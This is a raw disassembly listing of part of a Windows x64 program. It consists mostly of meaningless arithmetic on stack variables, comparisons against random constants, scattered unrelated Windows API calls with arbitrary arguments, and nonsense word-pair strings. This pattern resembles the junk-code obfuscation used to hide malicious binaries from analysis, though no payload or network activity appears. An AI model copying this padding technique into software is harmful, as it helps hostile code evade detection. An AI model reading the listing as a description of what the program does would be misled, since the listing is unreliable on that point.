movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x43a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xf2]
mov rcx, qword [rsp + 0x4250]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x140125005], al
jmp 0x14000a775
lea rax, [rsp + 0x4258]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x4268]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x43d0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x4538]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x55]
lea r8, [rsp + 0x19988]
lea rdx, [rsp + 0x199c8]
lea rcx, [rsp + 0x19eb0]
call qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [rsp + 0x2380], eax
jmp 0x14000a839
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
mov dword [rsp + 0x2500], eax
cmp dword [rsp + 0x2500], 0
je 0x14000a7a8
cmp dword [rsp + 0x2500], 0x2270
je 0x14000a809
jmp 0x14000a839
movzx eax, word [rsp + 0x944]
mov word [rsp + 0x94c], ax
mov rax, qword [rsp + 0x44f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4470]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x93c], ax
movzx eax, byte [rsp + 0xef]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x4298]
mov qword [rsp + 0x4540], rax
jmp 0x14000a839
mov eax, dword [rsp + 0x2394]
mov rcx, qword [rsp + 0x4358]
mov qword [rsp + 0x4548], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4548]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4470]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x44f0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x42b0]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
je 0x14000a8c2
mov rax, qword [rsp + 0x44b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x24e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x23d4], eax
mov rcx, qword [rsp + 0x4258]
call qword [sym.imp.USER32.dll_GetListBoxInfo]
mov dword [rsp + 0x24f4], eax
mov rax, qword [rsp + 0x4360]
mov rcx, qword [rsp + 0x4330]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x44e0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4250]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jl 0x14000a9b9
mov rax, qword [rsp + 0x4478]
mov rcx, qword [rsp + 0x43b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4360]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4308]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x14000a9b4
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
movsx ecx, byte [0x140125005]
xor eax, ecx
mov byte [rsp + 0xf0], al
movzx eax, byte [rsp + 0xed]
movzx ecx, byte [rsp + 0xef]
or eax, ecx
mov rcx, qword [0x140126018]
mov byte [rcx], al
mov r9, qword [rsp + 0x41f0]
mov r8, qword [rsp + 0x4348]
mov rax, qword [rsp + 0x4400]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x734]
call fcn.14010c380
lea r9, [rsp + 0x4268]
mov r8d, 0xe7
lea rdx, [rsp + 0x1a3c0]
lea rcx, str.CracklyOverturesShake_fertilising
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
mov dword [rsp + 0x2504], eax
jmp 0x14000aa8d
mov rax, qword [rsp + 0x44f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4488]
movzx ecx, word [rcx]
and eax, ecx
movzx ecx, word [rsp + 0x93c]
movzx edx, word [rsp + 0x938]
sub ecx, edx
cmp eax, ecx
jle 0x14000aa8d
mov rax, qword [rsp + 0x4470]
movzx eax, word [rax]
mov dword [rsp + 0x2508], eax
cmp dword [rsp + 0x2508], 0x4ca
je 0x14000aa71
cmp dword [rsp + 0x2508], 0x808
je 0x14000aa19
jmp 0x14000aa8d
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x734]
sar eax, cl
mov rcx, qword [rsp + 0x44c8]
mov word [rcx], ax
movzx eax, word [0x140125008]
movzx ecx, word [rsp + 0x940]
shl eax, cl
mov word [rsp + 0x938], ax
movsx eax, word [rsp + 0x734]
movsx ecx, word [rsp + 0x930]
and eax, ecx
mov rcx, qword [rsp + 0x43e0]
mov word [rcx], ax
jmp 0x14000aa8d
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2474]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x23d4], eax
mov rax, qword [rsp + 0x42c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4298]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
mov eax, dword [rsp + 0x23cc]
mov dword [rsp + 0x250c], eax
mov rax, qword [rsp + 0x4498]
mov rcx, qword [rsp + 0x43b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4478]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4498]
mov rcx, qword [rsp + 0x43b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4360]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4308]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14000abfc
mov rax, qword [rsp + 0x4260]
movzx eax, byte [rax]
mov byte [rsp + 0x2510], al
cmp byte [rsp + 0x2510], 0x60
je 0x14000ab36
jmp 0x14000ab38
jmp 0x14000ab86
mov rax, qword [rsp + 0x4280]
mov r9, qword [rax]
mov r8, qword [rsp + 0x4348]
mov rax, qword [rsp + 0x44c8]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x94c]
call fcn.14010c380
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x44c8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x43e0]
mov word [rcx], ax
call qword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [rsp + 0x2384], eax
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
or eax, ecx
mov word [0x140126014], ax
movzx eax, byte [rsp + 0xed]
movzx ecx, byte [rsp + 0xee]
shl eax, cl
mov rcx, qword [rsp + 0x44c0]
mov byte [rcx], al
lea r9, [rsp + 0x2378]
lea r8, [rsp + 0x4300]
lea rdx, str.Goosestep_Carabinieri
lea rcx, [rsp + 0x4528]
call qword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [rsp + 0x238c], eax
jmp 0x14010915e
mov rax, qword [rsp + 0x4360]
mov rcx, qword [rsp + 0x4498]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4330]
mov rdx, qword [rsp + 0x4308]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jb 0x14010915e
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4250]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xf1], al
mov rax, qword [rsp + 0x4260]
movzx eax, byte [rax]
mov byte [rsp + 0x2514], al
cmp byte [rsp + 0x2514], 0
je 0x14000ac6b
jmp 0x14010904d
mov eax, dword [rsp + 0x2394]
mov dword [0x14012602c], eax
movsx eax, word [rsp + 0x734]
mov dword [rsp + 0x2518], eax
cmp dword [rsp + 0x2518], 0
je 0x14000aca7
cmp dword [rsp + 0x2518], 0x318d
je 0x140108f5f
jmp 0x140108fa0
lea rax, [rsp + 0x938]
mov qword [rsp + 0x4550], rax
movzx eax, word [rsp + 0x938]
mov dword [rsp + 0x251c], eax
cmp dword [rsp + 0x251c], 0
je 0x14000ada9
cmp dword [rsp + 0x251c], 0x75f
je 0x14000ace6
mov rax, qword [rsp + 0x42e0]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
lea rax, [rsp + 0x734]
mov qword [0x140126030], rax
movzx eax, byte [rsp + 0xef]
mov byte [rsp + 0x2524], al
cmp byte [rsp + 0x2524], 0
je 0x14000adf0
mov rax, qword [rsp + 0x4508]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xef]
sub eax, ecx
mov byte [rsp + 0xed], al
mov r9, qword [rsp + 0x44d8]
mov r8, qword [rsp + 0x4540]
movzx edx, word [0x140126028]
movzx ecx, word [rsp + 0x934]
call fcn.14010c380
nop
mov rax, qword [rsp + 0x4210]
movzx eax, byte [rax]
mov byte [rsp + 0x3b50], al
cmp byte [rsp + 0x3b50], 0x17
je 0x140108fc8
lea rdx, [rsp + 0x43d0]
mov rcx, qword [rsp + 0x4220]
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
mov dword [rsp + 0x3b54], eax
mov rax, qword [rsp + 0x4358]
mov eax, dword [rax]
mov dword [rsp + 0x3b58], eax
cmp dword [rsp + 0x3b58], 0x12f35c10
je 0x14010908a
jmp 0x14010908c
jmp 0x1401090a9
lea r8, [fcn.14010adc0]
mov edx, 0x5f
mov ecx, 0x69
call qword [sym.imp.KERNEL32.dll_EnumSystemGeoID]
mov dword [rsp + 0x23a0], eax
mov r9, qword [rsp + 0x4298]
mov r8, qword [rsp + 0x44d8]
mov rax, qword [rsp + 0x43e0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x44c8]
movzx ecx, word [rax]
call fcn.14010c380
movsx eax, byte [rsp + 0xf1]
movsx ecx, byte [rsp + 0xf2]
add eax, ecx
mov rcx, qword [rsp + 0x4490]
mov byte [rcx], al
mov rax, qword [0x140126020]
mov rcx, qword [rsp + 0x4338]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x140126020]
mov qword [rcx], rax
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x934]
add eax, ecx
mov word [rsp + 0x944], ax
mov edx, dword [rsp + 0x2378]
mov rax, qword [rsp + 0x43e8]
mov ecx, dword [rax]
call fcn.14010b570
nop
lea rcx, [rsp + 0x19da0]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x3b5c], eax
mov rax, qword [rsp + 0x44d0]
mov rcx, qword [rsp + 0x4358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x42e0]
mov eax, dword [rax]
mov dword [rsp + 0x3b60], eax
cmp dword [rsp + 0x3b60], 0x277a51d
je 0x140109270
jmp 0x140109285
lea rcx, [rsp + 0x19f50]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [rsp + 0x2470], eax
mov rax, qword [rsp + 0x44b8]
mov eax, dword [rax]
mov ecx, dword [section..data]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x23f4], eax
mov rax, qword [rsp + 0x4208]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x20ec]
call fcn.14010b570
nop
movsx eax, byte [rsp + 0xf0]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
mov rax, qword [rsp + 0x4358]
mov eax, dword [rax]
mov ecx, dword [0x140126010]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x24b0]
mov edx, dword [rsp + 0x2394]
or edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x1401093a4
movsx eax, word [rsp + 0x734]
mov dword [rsp + 0x3b64], eax
cmp dword [rsp + 0x3b64], 0x5d1b
je 0x140109322
jmp 0x14010937f
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x44c0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140125004], al
mov rax, qword [rsp + 0x4400]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x44c8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x940]
shl eax, cl
mov word [rsp + 0x93c], ax
jmp 0x1401093a4
lea rcx, [rsp + 0x19d20]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x2484], eax
mov rax, qword [rsp + 0x44d0]
mov ecx, dword [rax]
call fcn.14010a860
nop
jmp 0x140109462
mov rax, qword [rsp + 0x4330]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x43b0]
shr rax, cl
mov rcx, qword [rsp + 0x4360]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4308]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140109443
mov rax, qword [rsp + 0x4348]
mov qword [rsp + 0x19918], rax
movabs rax, 0x37a0a5a03de0a647
cmp qword [rsp + 0x19918], rax
je 0x14010941a
movabs rax, 0x3d871f8a3df6e5fa
cmp qword [rsp + 0x19918], rax
je 0x14010943d
jmp 0x140109443
mov rax, qword [rsp + 0x4478]
mov rcx, qword [rsp + 0x4330]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4308], rax
jmp 0x140109443
call fcn.14010adc0
nop
mov rax, qword [rsp + 0x4328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2414]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
mov edx, 0x73
mov rcx, qword [rsp + 0x19920]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [rsp + 0x2418], eax
movzx eax, word [0x140126014]
movzx ecx, word [rsp + 0x938]
add eax, ecx
mov rcx, qword [rsp + 0x42f0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x4560]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov dword [rsp + 0x2470], eax
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf2], al
jmp 0x140109520
movzx eax, byte [rsp + 0xef]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xed], al
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov dword [rsp + 0x23b8], eax
mov r9, qword [rsp + 0x4348]
mov r8, qword [rsp + 0x4348]
mov rax, qword [rsp + 0x4400]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x934]
call fcn.14010c380
nop
mov rax, qword [rsp + 0x4260]
movzx eax, byte [rax]
mov byte [rsp + 0x3b68], al
cmp byte [rsp + 0x3b68], 0x1b
je 0x140109603
cmp byte [rsp + 0x3b68], 0x57
je 0x14010954f
jmp 0x140109624
movzx eax, word [rsp + 0x938]
mov rcx, qword [rsp + 0x43a0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4470]
mov word [rcx], ax
mov rax, qword [rsp + 0x42e0]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140126010], eax
mov rax, qword [rsp + 0x43e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
lea rdx, [rsp + 0x19988]
mov rcx, qword [rsp + 0x19920]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [rsp + 0x241c], eax
mov rax, qword [rsp + 0x4348]
mov rcx, qword [rsp + 0x4298]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2394]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2414], eax
jmp 0x140109624
mov rax, qword [rsp + 0x4308]
mov rcx, qword [rsp + 0x43b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4478]
mov qword [rcx], rax
mov rax, qword [rsp + 0x42c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4298]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4248]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x41f0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140109672
mov edx, dword [rsp + 0x2378]
mov rax, qword [rsp + 0x43e8]
mov ecx, dword [rax]
call fcn.14010b570
nop
movzx eax, byte [rsp + 0xee]
mov byte [rsp + 0x3b6c], al
cmp byte [rsp + 0x3b6c], 6
je 0x14010969a
cmp byte [rsp + 0x3b6c], 0xaf
je 0x1401096e7
jmp 0x14010971b
mov eax, dword [rsp + 0x2394]
mov ecx, dword [rsp + 0x23cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2414], eax
mov rcx, qword [rsp + 0x45b0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov dword [rsp + 0x3b70], eax
mov rax, qword [rsp + 0x43e8]
mov ecx, dword [rsp + 0x23d4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x43e8]
mov dword [rcx], eax
jmp 0x14010971b
mov rax, qword [rsp + 0x42c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4248]
mov qword [rsp + 0x19928], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19928]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4298], rax
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2378]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x23d4], eax
lea rcx, [rsp + 0x19b40]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
lea rax, [rsp + 0x2414]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x3b40]
mov r8d, 0xff
lea rdx, [rsp + 0x4358]
mov rcx, qword [rsp + 0x43d8]
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
mov dword [rsp + 0x2398], eax
mov rax, qword [rsp + 0x4348]
mov rcx, qword [rsp + 0x4298]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4338]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4360]
mov rcx, qword [rsp + 0x4330]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x43b0], rax
jmp 0x14010981e
mov rax, qword [rsp + 0x43a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
add eax, ecx
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4358]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x23cc]
shl eax, cl
mov dword [0x140126010], eax
mov rax, qword [rsp + 0x4208]
mov rcx, qword [rsp + 0x43e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x42a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf1]
add eax, ecx
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
mov dword [rsp + 0x3b74], eax
cmp dword [rsp + 0x3b74], 0x7c6
je 0x1401098e7
cmp dword [rsp + 0x3b74], 0xf16
je 0x140109872
jmp 0x14010991f
movsx eax, word [rsp + 0x734]
mov rcx, qword [rsp + 0x43e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x944], ax
lea rdx, [rsp + 0x4268]
mov rcx, qword [rsp + 0x43d8]
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov dword [rsp + 0x2418], eax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0xef]
sub eax, ecx
mov rcx, qword [rsp + 0x43a8]
mov byte [rcx], al
movsx eax, word [rsp + 0x934]
mov rcx, qword [rsp + 0x4400]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x930], ax
jmp 0x14010991f
lea rax, [rsp + 0x4358]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4320]
mov r8d, 0x48
lea rdx, [rsp + 0x1a3c0]
mov rcx, qword [rsp + 0x19930]
call qword [sym.imp.KERNEL32.dll_ReadFileEx]
mov dword [rsp + 0x241c], eax
mov rax, qword [rsp + 0x4338]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4248]
mov qword [rsp + 0x19938], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19938]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4298]
mov rdx, qword [rsp + 0x41f0]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x1401099bb
mov rax, qword [rsp + 0x4330]
mov rcx, qword [rsp + 0x4308]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4360]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2394]
mov ecx, dword [0x140126010]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x23cc], eax
mov edx, dword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x4220]
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
mov dword [rsp + 0x2398], eax
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
mov dword [rsp + 0x3b7c], eax
cmp dword [rsp + 0x3b7c], 0x11c9
je 0x1401099dc
jmp 0x1401099de
jmp 0x1401099f8
mov edx, 0x8a
mov rcx, qword [rsp + 0x43d8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x24bc], eax
mov rax, qword [rsp + 0x4280]
mov rcx, qword [rsp + 0x4348]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
movzx eax, byte [0x140125004]
movzx ecx, byte [rsp + 0xef]
add eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0x4208]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x2460]
call fcn.14010b570
nop
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23f4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x43a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov byte [rsp + 0xed], al
mov rcx, qword [rsp + 0x198e8]
call qword [sym.imp.USER32.dll_GetMenuContextHelpId]
mov dword [rsp + 0x2474], eax
mov edx, 0x39
mov ecx, 0x7c
call qword [sym.imp.USER32.dll_SetCaretPos]
mov dword [rsp + 0x23a0], eax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
add eax, ecx
mov byte [rsp + 0xed], al
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23d4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x940]
movzx edx, word [rsp + 0x938]
add ecx, edx
cmp eax, ecx
je 0x140109b16
jmp 0x140109b37
mov rax, qword [rsp + 0x4330]
mov rcx, qword [rsp + 0x4360]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4308], rax
mov rax, qword [rsp + 0x4360]
mov rax, qword [rax]
mov qword [rsp + 0x19940], rax
movabs rax, 0x2c5279a2509ef155
cmp qword [rsp + 0x19940], rax
je 0x140109b77
movabs rax, 0xbf67cac1ade3df21
cmp qword [rsp + 0x19940], rax
je 0x140109bda
jmp 0x140109bf7
mov r9d, 0xeb
mov r8d, 0x43
lea rdx, [rsp + 0x42e0]
mov rcx, qword [rsp + 0x19948]
call qword [sym.imp.USER32.dll_DrawEdge]
mov dword [rsp + 0x24bc], eax
movzx eax, byte [rsp + 0xef]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x41f0]
mov r8, qword [rsp + 0x4308]
mov rax, qword [rsp + 0x4360]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4338]
mov rcx, qword [rax]
call fcn.14010ba60
nop
jmp 0x140109bf7
mov rax, qword [rsp + 0x4358]
mov ecx, dword [rsp + 0x2414]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4328]
mov dword [rcx], eax
jmp 0x140109dce
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23f4]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x23d4]
mov edx, dword [section..data]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140109dce
lea rdx, [rsp + 0x4378]
mov rcx, qword [rsp + 0x4350]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov dword [rsp + 0x245c], eax
mov rax, qword [rsp + 0x4330]
mov rcx, qword [rsp + 0x4308]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4360]
cmp rax, qword [rcx]
jbe 0x140109dce
mov rax, qword [rsp + 0x42e0]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4308]
mov qword [rsp + 0x19950], rax
movabs rax, 0x81fdefd15696d716
cmp qword [rsp + 0x19950], rax
je 0x140109dae
movabs rax, 0xda9100c3a21c2084
cmp qword [rsp + 0x19950], rax
je 0x140109cca
jmp 0x140109dce
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140125004], al
mov eax, dword [rsp + 0x2378]
mov dword [rsp + 0x3b80], eax
cmp dword [rsp + 0x3b80], 0x7aea8b38
je 0x140109d77
cmp dword [rsp + 0x3b80], 0xf6691246
je 0x140109d15
jmp 0x140109dac
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x42f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x55], al
lea r8, str.Assailant_deduces_Runnier_Onlooker
mov edx, 0x5e
mov rcx, qword [rsp + 0x4258]
call qword [sym.imp.USER32.dll_SetDlgItemTextW]
mov dword [rsp + 0x2398], eax
jmp 0x140109dac
movzx eax, byte [rsp + 0xed]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x41f0]
mov rax, qword [rsp + 0x4360]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x4308]
mov rcx, qword [rsp + 0x4298]
call fcn.14010ba60
nop
jmp 0x140109dce
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x734]
and eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4208]
mov edx, dword [rax]
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rax]
call fcn.14010b570
nop
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0xee]
and eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
add eax, ecx
mov word [rsp + 0x93c], ax
movzx eax, byte [rsp + 0xef]
mov byte [rsp + 0x3b84], al
cmp byte [rsp + 0x3b84], 0x18
je 0x140109e3c
jmp 0x140109e5b
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x42f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x938]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x93c], ax
lea r8, [rsp + 0x4378]
lea rdx, [rsp + 0x55]
lea rcx, [rsp + 0x42e0]
call qword [sym.imp.USER32.dll_IntersectRect]
mov dword [rsp + 0x23a8], eax
call fcn.14010b900
nop
jmp 0x140109f67
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xed]
sub eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
movzx eax, word [rsp + 0x938]
mov dword [rsp + 0x3b88], eax
cmp dword [rsp + 0x3b88], 0x528
je 0x140109ee2
jmp 0x140109f4b
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140125005], al
mov rcx, qword [rsp + 0x4258]
